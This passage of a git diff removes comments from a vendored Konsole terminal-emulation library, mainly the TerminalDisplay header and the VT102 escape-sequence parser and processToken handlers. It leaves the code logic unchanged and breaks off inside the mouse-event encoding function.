private: QGridLayout* _gridLayout; CharWidth *_charWidth; - bool _fixedFont; // has fixed pitch - bool _fixedFont_original; // used only in textWidth() - int _fontHeight; // height - int _fontWidth; // width - int _fontAscent; // ascend - bool _boldIntense; // Whether intense colors should be rendered with bold font - int _drawTextAdditionHeight; // additional height to prevent font trancation - bool _drawTextTestFlag; // indicate it is a testing or not + bool _fixedFont; + bool _fixedFont_original; + int _fontHeight; + int _fontWidth; + int _fontAscent; + bool _boldIntense; + int _drawTextAdditionHeight; + bool _drawTextTestFlag; - int _leftMargin; // offset - int _topMargin; // offset + int _leftMargin; + int _topMargin; - int _lines; // the number of lines that can be displayed in the widget - int _columns; // the number of columns that can be displayed in the widget + int _lines; + int _columns; - int _usedLines; // the number of lines that are actually being used, this will be less + int _usedLines; - int _usedColumns; // the number of columns that are actually being used, this will be less + int _usedColumns; int _contentHeight; int _contentWidth; - Character* _image; // [lines][columns] + Character* _image; int _imageSize; QVector _lineProperties; @@ -431,10 +430,10 @@ private: bool _disabledBracketedPasteMode; bool _showResizeNotificationEnabled; - QPoint _iPntSel; // initial selection point - QPoint _pntSel; // current selection point - QPoint _tripleSelBegin; // help avoid flicker - int _actSel; // selection state + QPoint _iPntSel; + QPoint _pntSel; + QPoint _tripleSelBegin; + int _actSel; bool _wordSelectionMode; bool _lineSelectionMode; bool _preserveLineBreaks; @@ -446,23 +445,22 @@ private: QString _wordCharacters; int _bellMode; - bool _blinking; // hide text in paintEvent - bool _hasBlinker; // has characters to blink - bool _cursorBlinking; // hide cursor in paintEvent - bool _hasBlinkingCursor; // has blinking cursor enabled - bool _allowBlinkingText; // allow text to blink - bool _ctrlDrag; // require Ctrl key for drag + bool _blinking; + bool _hasBlinker; + bool _cursorBlinking; + bool _hasBlinkingCursor; + bool _allowBlinkingText; + bool _ctrlDrag; TripleClickMode _tripleClickMode; - bool _isFixedSize; //Columns / lines are locked. - QTimer* _blinkTimer; // active when hasBlinker - QTimer* _blinkCursorTimer; // active when hasBlinkingCursor + bool _isFixedSize; + QTimer* _blinkTimer; + QTimer* _blinkCursorTimer; static std::shared_ptr _hideMouseTimer; - //QMenu* _drop; QString _dropText; int _dndFileCount; - bool _possibleTripleClick; // is set in mouseDoubleClickEvent and deleted + bool _possibleTripleClick; QLabel* _resizeWidget; QTimer* _resizeTimer; @@ -473,7 +471,7 @@ private: uint _lineSpacing; - bool _colorsInverted; // true during visual bell + bool _colorsInverted; QSize _size; @@ -481,9 +479,6 @@ private: QPixmap *_backgroundPixmapRef = nullptr; QPixmap _backgroundImage; - // QMovie *_backgroundMovie = nullptr; - // QMediaPlayer* _backgroundVideoPlayer; - // QVideoSink* _backgroundVideoSink; QPixmap _backgroundVideoFrame; bool _isLocked; QPixmap _lockbackgroundImage; @@ -510,7 +505,7 @@ private: }; InputMethodData _inputMethodData; - static bool _antialiasText; // do we antialias or not + static bool _antialiasText; static const int TEXT_BLINK_DELAY = 500; @@ -521,7 +516,7 @@ private: int _mouseAutohideDelay; - int _preeditColorIndex = 16; //Color4Intense + int _preeditColorIndex = 16; int shiftSelectionStartX = -1; int shiftSelectionStartY = -1; @@ -595,4 +590,4 @@ private: QDialogButtonBox *buttonBox; }; -#endif // TERMINALDISPLAY_H +#endif diff --git a/AdaptixClient/Libs/Konsole/Vt102Emulation.cpp b/AdaptixClient/Libs/Konsole/Vt102Emulation.cpp index 08d79959..b331953c 100644 --- a/AdaptixClient/Libs/Konsole/Vt102Emulation.cpp +++ b/AdaptixClient/Libs/Konsole/Vt102Emulation.cpp @@ -64,8 +64,6 @@ void Vt102Emulation::reset() { technical reference of this program. */ -// Tokens ------------------------------------------------------------------ -- - /* Since the tokens are the central notion if this section, we've put them in front. They provide the syntactical elements used to represent the @@ -120,8 +118,6 @@ void Vt102Emulation::reset() { #define MAX_ARGUMENT 4096 -// Tokenizer --------------------------------------------------------------- -- - /* The tokenizer's state The state is represented by the buffer (tokenBuffer, tokenBufferPos), @@ -152,15 +148,13 @@ void Vt102Emulation::addToCurrentToken(wchar_t cc) { tokenBufferPos = qMin(tokenBufferPos + 1, MAX_TOKEN_LENGTH - 1); } -// Character Class flags used while decoding -#define CTL 1 // Control character -#define CHR 2 // Printable character -#define CPN 4 // TODO: Document me -#define DIG 8 // Digit -#define SCS 16 // TODO: Document me -#define GRP 32 // TODO: Document me -#define CPS 64 // Character which indicates end of window resize - // escape sequence '\e[8;;t' +#define CTL 1 +#define CHR 2 +#define CPN 4 +#define DIG 8 +#define SCS 16 +#define GRP 32 +#define CPS 64 void Vt102Emulation::initTokenizer() { int i; @@ -173,7 +167,6 @@ void Vt102Emulation::initTokenizer() { charClass[i] |= CHR; for (s = (quint8 *)"@ABCDEFGHILMPSTXZbcdfry"; *s; ++s) charClass[*s] |= CPN; - // resize = \e[8;;t for (s = (quint8 *)"t"; *s; ++s) charClass[*s] |= CPS; for (s = (quint8 *)"0123456789"; *s; ++s) @@ -216,40 +209,32 @@ void Vt102Emulation::initTokenizer() { #define egt() (p >= 3 && s[2] == '>') #define esp() (p == 4 && s[3] == ' ') #define Xpe (tokenBufferPos >= 2 && tokenBuffer[1] == ']') -#define Xte (Xpe && (cc == 7 || (prevCC == 27 && cc == 92))) // 27, 92 => "\e\\" (ST, String Terminator) +#define Xte (Xpe && (cc == 7 || (prevCC == 27 && cc == 92))) #define ces(C) (cc < 256 && (charClass[cc] & (C)) == (C) && !Xte) #define CNTL(c) ((c) - '@') #define ESC 27 #define DEL 127 -// process an incoming unicode character void Vt102Emulation::receiveChar(wchar_t cc) { if ((cc == L'\r') || (cc == L'\n')) dupDisplayCharacter(cc); if (cc == DEL) - return; // VT100: ignore. + return; if (ces(CTL)) { - // ignore control characters in the text part of Xpe (aka OSC) "ESC]" - // escape sequences; this matches what XTERM docs say if (Xpe) { prevCC = cc; return; } - // DEC HACK ALERT! Control Characters are allowed *within* esc sequences in - // VT100 This means, they do neither a resetTokenizer() nor a pushToToken(). - // Some of them, do of course. Guess this originates from a weakly layered - // handling of the X-on X-off protocol, which comes really below this level. if (cc == CNTL('X') || cc == CNTL('Z') || cc == ESC) - resetTokenizer(); // VT100: CAN or SUB + resetTokenizer(); if (cc != ESC) { processToken(TY_CTL(cc + '@'), 0, 0); return; } } - // advance the state addToCurrentToken(cc); wchar_t *s = tokenBuffer; @@ -319,7 +304,6 @@ void Vt102Emulation::receiveChar(wchar_t cc) { return; } - // resize = \e[8;;t if (eps(CPS)) { processToken(TY_CSI_PS(cc, argv[0]), argv[1], argv[2]); resetTokenizer(); @@ -343,18 +327,15 @@ void Vt102Emulation::receiveChar(wchar_t cc) { if (epp()) processToken(TY_CSI_PR(cc, argv[i]), 0, 0); else if (egt()) - processToken(TY_CSI_PG(cc), 0, 0); // spec. case for ESC]>0c or ESC]>c + processToken(TY_CSI_PG(cc), 0, 0); else if (cc == 'm' && argc - i >= 4 && (argv[i] == 38 || argv[i] == 48) && argv[i + 1] == 2) { - // ESC[ ... 48;2;;; ... m -or- ESC[ ... - // 38;2;;; ... m i += 2; processToken(TY_CSI_PS(cc, argv[i - 2]), COLOR_SPACE_RGB, (argv[i] << 16) | (argv[i + 1] << 8) | argv[i + 2]); i += 2; } else if (cc == 'm' && argc - i >= 2 && (argv[i] == 38 || argv[i] == 48) && argv[i + 1] == 5) { - // ESC[ ... 48;5; ... m -or- ESC[ ... 38;5; ... m i += 2; processToken(TY_CSI_PS(cc, argv[i - 2]), COLOR_SPACE_256, argv[i]); } else @@ -362,7 +343,6 @@ void Vt102Emulation::receiveChar(wchar_t cc) { } resetTokenizer(); } else { - // VT52 Mode if (lec(1, 0, ESC)) return; if (les(1, 0, CHR)) { @@ -424,8 +404,6 @@ void Vt102Emulation::processOSC() { processWindowAttributeChange(command, newValue); break; } - // Ps = 52 → Manipulate Selection Data. These controls may be disabled using - // the allowWindowOps resource. case 52: { /* The first, Pc , may contain any character from the set c p s 0 1 2 3 4 5 * 6 7 . It is used to construct a list of selection parameters for @@ -485,12 +463,8 @@ void Vt102Emulation::updateTitle() { } void Vt102Emulation::doTitleChanged(int what, const QString &caption) { - // set to true if anything is actually changed (eg. old _nameTitle != new - // _nameTitle ) bool modified = false; - // (btw: what=0 changes _userTitle and icon, what=1 only icon, what=2 only - // _nameTitle if ((what == 0) || (what == 2)) { _isTitleChanged = true; if (_userTitle != caption) { @@ -510,7 +484,7 @@ void Vt102Emulation::doTitleChanged(int what, const QString &caption) { if (what == 11) { QString colorString = caption.section(QLatin1Char(';'), 0, 0); QColor backColor = QColor(colorString); - if (backColor.isValid()) { // change color via \033]11;Color\007 + if (backColor.isValid()) { if (backColor != _modifiedBackground) { _modifiedBackground = backColor; emit changeBackgroundColorRequest(backColor); @@ -533,7 +507,6 @@ void Vt102Emulation::doTitleChanged(int what, const QString &caption) { emit openUrlRequest(cwd); } - // change icon via \033]32;Icon\007 if (what == 32) { _isTitleChanged = true; if (_iconName != caption) { @@ -576,9 +549,7 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { case TY_CHR(): _currentScreen->displayCharacter(p); dupDisplayCharacter(p); - break; // UTF16 - - // 127 DEL : ignored on input + break; case TY_CTL('@'): /* NUL: ignored */ break; @@ -592,46 +563,46 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_CTL('E'): reportAnswerBack(); - break; // VT100 + break; case TY_CTL('F'): /* ACK: ignored */ break; case TY_CTL('G'): emit stateSet(NOTIFYBELL); - break; // VT100 + break; case TY_CTL('H'): _currentScreen->backspace(); - break; // VT100 + break; case TY_CTL('I'): _currentScreen->tab(); - break; // VT100 + break; case TY_CTL('J'): _currentScreen->newLine(); - break; // VT100 + break; case TY_CTL('K'): _currentScreen->newLine(); - break; // VT100 + break; case TY_CTL('L'): _currentScreen->newLine(); - break; // VT100 + break; case TY_CTL('M'): _currentScreen->toStartOfLine(); - break; // VT100 + break; case TY_CTL('N'): useCharset(1); - break; // VT100 + break; case TY_CTL('O'): useCharset(0); - break; // VT100 + break; case TY_CTL('P'): /* DLE: ignored */ break; case TY_CTL('Q'): /* DC1: XON continue */ - break; // VT100 + break; case TY_CTL('R'): /* DC2: ignored */ break; case TY_CTL('S'): /* DC3: XOFF halt */ - break; // VT100 + break; case TY_CTL('T'): /* DC4: ignored */ break; case TY_CTL('U'): /* NAK: ignored */ @@ -643,13 +614,13 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { case TY_CTL('X'): _currentScreen->displayCharacter(0x2592); dupDisplayCharacter(0x2592); - break; // VT100 + break; case TY_CTL('Y'): /* EM : ignored */ break; case TY_CTL('Z'): _currentScreen->displayCharacter(0x2592); dupDisplayCharacter(0x2592); - break; // VT100 + break; case TY_CTL('['): /* ESC: cannot be seen here. */ break; case TY_CTL('\\'): /* FS : ignored */ @@ -663,16 +634,16 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { case TY_ESC('D'): _currentScreen->index(); - break; // VT100 + break; case TY_ESC('E'): _currentScreen->nextLine(); - break; // VT100 + break; case TY_ESC('H'): _currentScreen->changeTabStop(true); - break; // VT100 + break; case TY_ESC('M'): _currentScreen->reverseIndex(); - break; // VT100 + break; case TY_ESC('Z'): reportTerminalType(); break; @@ -701,52 +672,52 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_ESC('<'): setMode(MODE_Ansi); - break; // VT100 + break; case TY_ESC_CS('(', '0'): setCharset(0, '0'); - break; // VT100 + break; case TY_ESC_CS('(', 'A'): setCharset(0, 'A'); - break; // VT100 + break; case TY_ESC_CS('(', 'B'): setCharset(0, 'B'); - break; // VT100 + break; case TY_ESC_CS(')', '0'): setCharset(1, '0'); - break; // VT100 + break; case TY_ESC_CS(')', 'A'): setCharset(1, 'A'); - break; // VT100 + break; case TY_ESC_CS(')', 'B'): setCharset(1, 'B'); - break; // VT100 + break; case TY_ESC_CS('*', '0'): setCharset(2, '0'); - break; // VT100 + break; case TY_ESC_CS('*', 'A'): setCharset(2, 'A'); - break; // VT100 + break; case TY_ESC_CS('*', 'B'): setCharset(2, 'B'); - break; // VT100 + break; case TY_ESC_CS('+', '0'): setCharset(3, '0'); - break; // VT100 + break; case TY_ESC_CS('+', 'A'): setCharset(3, 'A'); - break; // VT100 + break; case TY_ESC_CS('+', 'B'): setCharset(3, 'B'); - break; // VT100 + break; case TY_ESC_CS('%', 'G'): /*No longer updating codec*/ - break; // LINUX + break; case TY_ESC_CS('%', '@'): /*No longer updating codec*/ - break; // LINUX + break; case TY_ESC_DE('3'): /* Double height line, top half */ _currentScreen->setLineProperty(LINE_DOUBLEWIDTH, true); @@ -768,13 +739,11 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { _currentScreen->helpAlign(); break; - // resize = \e[8;;t case TY_CSI_PS('t', 8): setImageSize(p /*lines */, q /* columns */); emit imageResizeRequest(QSize(q, p)); break; - // change tab text color : \e[28;t color: 0-16,777,215 case TY_CSI_PS('t', 28): emit changeTabTextColorRequest(p); break; @@ -802,10 +771,10 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_CSI_PS('g', 0): _currentScreen->changeTabStop(false); - break; // VT100 + break; case TY_CSI_PS('g', 3): _currentScreen->clearTabStops(); - break; // VT100 + break; case TY_CSI_PS('h', 4): _currentScreen->setMode(MODE_Insert); break; @@ -813,7 +782,7 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { setMode(MODE_NewLine); break; case TY_CSI_PS('i', 0): /* IGNORE: attached printer */ - break; // VT100 + break; case TY_CSI_PS('l', 4): _currentScreen->resetMode(MODE_Insert); break; @@ -832,19 +801,19 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_CSI_PS('m', 1): _currentScreen->setRendition(RE_BOLD); - break; // VT100 + break; case TY_CSI_PS('m', 2): _currentScreen->setRendition(RE_FAINT); break; case TY_CSI_PS('m', 3): _currentScreen->setRendition(RE_ITALIC); - break; // VT100 + break; case TY_CSI_PS('m', 4): _currentScreen->setRendition(RE_UNDERLINE); - break; // VT100 + break; case TY_CSI_PS('m', 5): _currentScreen->setRendition(RE_BLINK); - break; // VT100 + break; case TY_CSI_PS('m', 7): _currentScreen->setRendition(RE_REVERSE); break; @@ -858,11 +827,11 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { _currentScreen->setRendition(RE_OVERLINE); break; case TY_CSI_PS('m', 10): /* IGNORED: mapping related */ - break; // LINUX + break; case TY_CSI_PS('m', 11): /* IGNORED: mapping related */ - break; // LINUX + break; case TY_CSI_PS('m', 12): /* IGNORED: mapping related */ - break; // LINUX + break; case TY_CSI_PS('m', 21): _currentScreen->resetRendition(RE_BOLD); break; @@ -872,7 +841,7 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_CSI_PS('m', 23): _currentScreen->resetRendition(RE_ITALIC); - break; // VT100 + break; case TY_CSI_PS('m', 24): _currentScreen->resetRendition(RE_UNDERLINE); break; @@ -1015,21 +984,21 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { reportCursorPosition(); break; case TY_CSI_PS('q', 0): /* IGNORED: LEDs off */ - break; // VT100 + break; case TY_CSI_PS('q', 1): /* IGNORED: LED1 on */ - break; // VT100 + break; case TY_CSI_PS('q', 2): /* IGNORED: LED2 on */ - break; // VT100 + break; case TY_CSI_PS('q', 3): /* IGNORED: LED3 on */ - break; // VT100 + break; case TY_CSI_PS('q', 4): /* IGNORED: LED4 on */ - break; // VT100 + break; case TY_CSI_PS('x', 0): reportTerminalParms(2); - break; // VT100 + break; case TY_CSI_PS('x', 1): reportTerminalParms(3); - break; // VT100 + break; case TY_CSI_PS_SP('q', 0): /* fall through */ case TY_CSI_PS_SP('q', 1): @@ -1056,28 +1025,28 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_CSI_PN('A'): _currentScreen->cursorUp(p); - break; // VT100 + break; case TY_CSI_PN('B'): _currentScreen->cursorDown(p); - break; // VT100 + break; case TY_CSI_PN('C'): _currentScreen->cursorRight(p); - break; // VT100 + break; case TY_CSI_PN('D'): _currentScreen->cursorLeft(p); - break; // VT100 + break; case TY_CSI_PN('E'): _currentScreen->cursorNextLine(p); - break; // VT100 + break; case TY_CSI_PN('F'): _currentScreen->cursorPreviousLine(p); - break; // VT100 + break; case TY_CSI_PN('G'): _currentScreen->setCursorX(p); - break; // LINUX + break; case TY_CSI_PN('H'): _currentScreen->setCursorYX(p, q); - break; // VT100 + break; case TY_CSI_PN('I'): _currentScreen->tab(p); break; @@ -1107,222 +1076,207 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { break; case TY_CSI_PN('c'): reportTerminalType(); - break; // VT100 + break; case TY_CSI_PN('d'): _currentScreen->setCursorY(p); - break; // LINUX + break; case TY_CSI_PN('f'): _currentScreen->setCursorYX(p, q); - break; // VT100 + break; case TY_CSI_PN('r'): setMargins(p, q); - break; // VT100 + break; case TY_CSI_PN('y'): /* IGNORED: Confidence test */ - break; // VT100 + break; case TY_CSI_PR('h', 1): setMode(MODE_AppCuKeys); - break; // VT100 + break; case TY_CSI_PR('l', 1): resetMode(MODE_AppCuKeys); - break; // VT100 + break; case TY_CSI_PR('s', 1): saveMode(MODE_AppCuKeys); - break; // FIXME + break; case TY_CSI_PR('r', 1): restoreMode(MODE_AppCuKeys); - break; // FIXME + break; case TY_CSI_PR('l', 2): resetMode(MODE_Ansi); - break; // VT100 + break; case TY_CSI_PR('h', 3): setMode(MODE_132Columns); - break; // VT100 + break; case TY_CSI_PR('l', 3): resetMode(MODE_132Columns); - break; // VT100 + break; case TY_CSI_PR('h', 4): /* IGNORED: soft scrolling */ - break; // VT100 + break; case TY_CSI_PR('l', 4): /* IGNORED: soft scrolling */ - break; // VT100 + break; case TY_CSI_PR('h', 5): _currentScreen->setMode(MODE_Screen); - break; // VT100 + break; case TY_CSI_PR('l', 5): _currentScreen->resetMode(MODE_Screen); - break; // VT100 + break; case TY_CSI_PR('h', 6): _currentScreen->setMode(MODE_Origin); - break; // VT100 + break; case TY_CSI_PR('l', 6): _currentScreen->resetMode(MODE_Origin); - break; // VT100 + break; case TY_CSI_PR('s', 6): _currentScreen->saveMode(MODE_Origin); - break; // FIXME + break; case TY_CSI_PR('r', 6): _currentScreen->restoreMode(MODE_Origin); - break; // FIXME + break; case TY_CSI_PR('h', 7): _currentScreen->setMode(MODE_Wrap); - break; // VT100 + break; case TY_CSI_PR('l', 7): _currentScreen->resetMode(MODE_Wrap); - break; // VT100 + break; case TY_CSI_PR('s', 7): _currentScreen->saveMode(MODE_Wrap); - break; // FIXME + break; case TY_CSI_PR('r', 7): _currentScreen->restoreMode(MODE_Wrap); - break; // FIXME + break; case TY_CSI_PR('h', 8): /* IGNORED: autorepeat on */ - break; // VT100 + break; case TY_CSI_PR('l', 8): /* IGNORED: autorepeat off */ - break; // VT100 + break; case TY_CSI_PR('s', 8): /* IGNORED: autorepeat on */ - break; // VT100 + break; case TY_CSI_PR('r', 8): /* IGNORED: autorepeat off */ - break; // VT100 + break; case TY_CSI_PR('h', 9): /* IGNORED: interlace */ - break; // VT100 + break; case TY_CSI_PR('l', 9): /* IGNORED: interlace */ - break; // VT100 + break; case TY_CSI_PR('s', 9): /* IGNORED: interlace */ - break; // VT100 + break; case TY_CSI_PR('r', 9): /* IGNORED: interlace */ - break; // VT100 + break; case TY_CSI_PR('h', 12): /* IGNORED: Cursor blink */ - break; // att610 + break; case TY_CSI_PR('l', 12): /* IGNORED: Cursor blink */ - break; // att610 + break; case TY_CSI_PR('s', 12): /* IGNORED: Cursor blink */ - break; // att610 + break; case TY_CSI_PR('r', 12): /* IGNORED: Cursor blink */ - break; // att610 + break; case TY_CSI_PR('h', 25): setMode(MODE_Cursor); - break; // VT100 + break; case TY_CSI_PR('l', 25): resetMode(MODE_Cursor); - break; // VT100 + break; case TY_CSI_PR('s', 25): saveMode(MODE_Cursor); - break; // VT100 + break; case TY_CSI_PR('r', 25): restoreMode(MODE_Cursor); - break; // VT100 + break; case TY_CSI_PR('h', 40): setMode(MODE_Allow132Columns); - break; // XTERM + break; case TY_CSI_PR('l', 40): resetMode(MODE_Allow132Columns); - break; // XTERM + break; case TY_CSI_PR('h', 41): /* IGNORED: obsolete more(1) fix */ - break; // XTERM + break; case TY_CSI_PR('l', 41): /* IGNORED: obsolete more(1) fix */ - break; // XTERM + break; case TY_CSI_PR('s', 41): /* IGNORED: obsolete more(1) fix */ - break; // XTERM + break; case TY_CSI_PR('r', 41): /* IGNORED: obsolete more(1) fix */ - break; // XTERM + break; case TY_CSI_PR('h', 47): setMode(MODE_AppScreen); - break; // VT100 + break; case TY_CSI_PR('l', 47): resetMode(MODE_AppScreen); - break; // VT100 + break; case TY_CSI_PR('s', 47): saveMode(MODE_AppScreen); - break; // XTERM + break; case TY_CSI_PR('r', 47): restoreMode(MODE_AppScreen); - break; // XTERM + break; case TY_CSI_PR('h', 67): /* IGNORED: DECBKM */ - break; // XTERM + break; case TY_CSI_PR('l', 67): /* IGNORED: DECBKM */ - break; // XTERM + break; case TY_CSI_PR('s', 67): /* IGNORED: DECBKM */ - break; // XTERM + break; case TY_CSI_PR('r', 67): /* IGNORED: DECBKM */ - break; // XTERM - - // XTerm defines the following modes: - // SET_VT200_MOUSE 1000 - // SET_VT200_HIGHLIGHT_MOUSE 1001 - // SET_BTN_EVENT_MOUSE 1002 - // SET_ANY_EVENT_MOUSE 1003 - // - - // Note about mouse modes: - // There are four mouse modes which xterm-compatible terminals can support - - // 1000,1001,1002,1003 Konsole currently supports mode 1000 (basic mouse - // press and release) and mode 1002 (dragging the mouse). - // TODO: Implementation of mouse modes 1001 (something called highlight - // tracking) and 1003 (a slight variation on dragging the mouse) - // + break; case TY_CSI_PR('h', 1000): setMode(MODE_Mouse1000); - break; // XTERM + break; case TY_CSI_PR('l', 1000): resetMode(MODE_Mouse1000); - break; // XTERM + break; case TY_CSI_PR('s', 1000): saveMode(MODE_Mouse1000); - break; // XTERM + break; case TY_CSI_PR('r', 1000): restoreMode(MODE_Mouse1000); - break; // XTERM + break; case TY_CSI_PR('h', 1001): /* IGNORED: hilite mouse tracking */ - break; // XTERM + break; case TY_CSI_PR('l', 1001): resetMode(MODE_Mouse1001); - break; // XTERM + break; case TY_CSI_PR('s', 1001): /* IGNORED: hilite mouse tracking */ - break; // XTERM + break; case TY_CSI_PR('r', 1001): /* IGNORED: hilite mouse tracking */ - break; // XTERM + break; case TY_CSI_PR('h', 1002): setMode(MODE_Mouse1002); - break; // XTERM + break; case TY_CSI_PR('l', 1002): resetMode(MODE_Mouse1002); - break; // XTERM + break; case TY_CSI_PR('s', 1002): saveMode(MODE_Mouse1002); - break; // XTERM + break; case TY_CSI_PR('r', 1002): restoreMode(MODE_Mouse1002); - break; // XTERM + break; case TY_CSI_PR('h', 1003): setMode(MODE_Mouse1003); - break; // XTERM + break; case TY_CSI_PR('l', 1003): resetMode(MODE_Mouse1003); - break; // XTERM + break; case TY_CSI_PR('s', 1003): saveMode(MODE_Mouse1003); - break; // XTERM + break; case TY_CSI_PR('r', 1003): restoreMode(MODE_Mouse1003); - break; // XTERM + break; case TY_CSI_PR('h', 1004): _reportFocusEvents = true; @@ -1333,155 +1287,150 @@ void Vt102Emulation::processToken(int token, wchar_t p, int q) { case TY_CSI_PR('h', 1005): setMode(MODE_Mouse1005); - break; // XTERM + break; case TY_CSI_PR('l', 1005): resetMode(MODE_Mouse1005); - break; // XTERM + break; case TY_CSI_PR('s', 1005): saveMode(MODE_Mouse1005); - break; // XTERM + break; case TY_CSI_PR('r', 1005): restoreMode(MODE_Mouse1005); - break; // XTERM + break; case TY_CSI_PR('h', 1006): setMode(MODE_Mouse1006); - break; // XTERM + break; case TY_CSI_PR('l', 1006): resetMode(MODE_Mouse1006); - break; // XTERM + break; case TY_CSI_PR('s', 1006): saveMode(MODE_Mouse1006); - break; // XTERM + break; case TY_CSI_PR('r', 1006): restoreMode(MODE_Mouse1006); - break; // XTERM + break; case TY_CSI_PR('h', 1015): setMode(MODE_Mouse1015); - break; // URXVT + break; case TY_CSI_PR('l', 1015): resetMode(MODE_Mouse1015); - break; // URXVT + break; case TY_CSI_PR('s', 1015): saveMode(MODE_Mouse1015); - break; // URXVT + break; case TY_CSI_PR('r', 1015): restoreMode(MODE_Mouse1015); - break; // URXVT + break; case TY_CSI_PR('h', 1034): /* IGNORED: 8bitinput activation */ - break; // XTERM + break; case TY_CSI_PR('h', 1047): setMode(MODE_AppScreen); - break; // XTERM + break; case TY_CSI_PR('l', 1047): _screen[1]->clearEntireScreen(); resetMode(MODE_AppScreen); - break; // XTERM + break; case TY_CSI_PR('s', 1047): saveMode(MODE_AppScreen); - break; // XTERM + break; case TY_CSI_PR('r', 1047): restoreMode(MODE_AppScreen); - break; // XTERM + break; - // FIXME: Unitoken: save translations123 case TY_CSI_PR('h', 1048): saveCursor(); - break; // XTERM + break; case TY_CSI_PR('l', 1048): restoreCursor(); - break; // XTERM + break; case TY_CSI_PR('s', 1048): saveCursor(); - break; // XTERM + break; case TY_CSI_PR('r', 1048): restoreCursor(); - break; // XTERM + break; - // FIXME: every once new sequences like this pop up in xterm. - // Here's a guess of what they could mean. case TY_CSI_PR('h', 1049): saveCursor(); _screen[1]->clearEntireScreen(); setMode(MODE_AppScreen); - break; // XTERM + break; case TY_CSI_PR('l', 1049): resetMode(MODE_AppScreen); restoreCursor(); - break; // XTERM + break; case TY_CSI_PR('h', 2004): setMode(MODE_BracketedPaste); - break; // XTERM + break; case TY_CSI_PR('l', 2004): resetMode(MODE_BracketedPaste); - break; // XTERM + break; case TY_CSI_PR('s', 2004): saveMode(MODE_BracketedPaste); - break; // XTERM + break; case TY_CSI_PR('r', 2004): restoreMode(MODE_BracketedPaste); - break; // XTERM + break; - // FIXME: weird DEC reset sequence case TY_CSI_PE('p'): /* IGNORED: reset ( ) */ break; - // FIXME: when changing between vt52 and ansi mode evtl do some resetting. case TY_VT52('A'): _currentScreen->cursorUp(1); - break; // VT52 + break; case TY_VT52('B'): _currentScreen->cursorDown(1); - break; // VT52 + break; case TY_VT52('C'): _currentScreen->cursorRight(1); - break; // VT52 + break; case TY_VT52('D'): _currentScreen->cursorLeft(1); - break; // VT52 + break; case TY_VT52('F'): setAndUseCharset(0, '0'); - break; // VT52 + break; case TY_VT52('G'): setAndUseCharset(0, 'B'); - break; // VT52 + break; case TY_VT52('H'): _currentScreen->setCursorYX(1, 1); - break; // VT52 + break; case TY_VT52('I'): _currentScreen->reverseIndex(); - break; // VT52 + break; case TY_VT52('J'): _currentScreen->clearToEndOfScreen(); - break; // VT52 + break; case TY_VT52('K'): _currentScreen->clearToEndOfLine(); - break; // VT52 + break; case TY_VT52('Y'): _currentScreen->setCursorYX(p - 31, q - 31); - break; // VT52 + break; case TY_VT52('Z'): reportTerminalType(); - break; // VT52 + break; case TY_VT52('<'): setMode(MODE_Ansi); - break; // VT52 + break; case TY_VT52('='): setMode(MODE_AppKeyPad); - break; // VT52 + break; case TY_VT52('>'): resetMode(MODE_AppKeyPad); - break; // VT52 + break; case TY_CSI_PG('c'): reportSecondaryAttributes(); - break; // VT100 + break; default: reportDecodingError(); @@ -1516,22 +1465,17 @@ void Vt102Emulation::reportCursorPosition() { } void Vt102Emulation::reportTerminalType() { - // Primary device attribute response (Request was: ^[[0c or ^[[c (from TT321 - // Users Guide)) VT220: ^[[?63;1;2;3;6;7;8c (list deps on emul. - // capabilities) VT100: ^[[?1;2c VT101: ^[[?1;0c VT102: ^[[?6v if (getMode(MODE_Ansi)) - sendString("\033[?1;2c"); // I'm a VT100 + sendString("\033[?1;2c"); else - sendString("\033/Z"); // I'm a VT52 + sendString("\033/Z"); } void Vt102Emulation::reportSecondaryAttributes() { - // Secondary device attribute response (Request was: ^[[>0c or ^[[>c) if (getMode(MODE_Ansi)) - sendString("\033[>0;115;0c"); // Why 115? ;) + sendString("\033[>0;115;0c"); else - sendString("\033/Z"); // FIXME I don't think VT52 knows about it but kept - // for konsoles backward compatibility. + sendString("\033/Z"); } void Vt102Emulation::reportTerminalParms(int p) @@ -1540,7 +1484,7 @@ void Vt102Emulation::reportTerminalParms(int p) const size_t sz = 100; char tmp[sz]; const size_t r = - snprintf(tmp, sz, "\033[%d;1;1;112;112;1;0x", p); // not really true. + snprintf(tmp, sz, "\033[%d;1;1;112;112;1;0x", p); if (sz <= r) { qWarning("Vt102Emulation::reportTerminalParms: Buffer too small\n"); } @@ -1548,49 +1492,29 @@ void Vt102Emulation::reportTerminalParms(int p) } void Vt102Emulation::reportStatus() { - sendString("\033[0n"); // VT100. Device status report. 0 = Ready. + sendString("\033[0n"); } void Vt102Emulation::reportAnswerBack() { - // FIXME - Test this with VTTEST - // This is really obsolete VT100 stuff. const char *ANSWER_BACK = ""; sendString(ANSWER_BACK); } -/*! - `cx',`cy' are 1-based. - `cb' indicates the button pressed or released (0-2) or scroll event (4-5). - - eventType represents the kind of mouse action that occurred: - 0 = Mouse button press - 1 = Mouse drag - 2 = Mouse button release -*/ - void Vt102Emulation::sendMouseEvent(int cb, int cx, int cy, int eventType) { if (cx < 1 || cy < 1) return; - // With the exception of the 1006 mode, button release is encoded in cb. - // Note that if multiple extensions are enabled, the 1006 is used, so it's - // okay to check for only that. if (eventType == 2 && !getMode(MODE_Mouse1006)) cb = 3; - // normal buttons are passed as 0x20 + button, - // mouse wheel (buttons 4,5) as 0x5c + button if (cb >= 4) cb += 0x3c; - // Mouse motion handling if ((getMode(MODE_Mouse1002) || getMode(MODE_Mouse1003)) && eventType == 1) - cb += 0x20; // add 32 to signify motion event + cb += 0x20; char command[64]; command[0] = '\0'; - // Check the extensions in decreasing order of preference. Encoding the - // release event above assumes that 1006 comes first. if (getMode(MODE_Mouse1006)) { 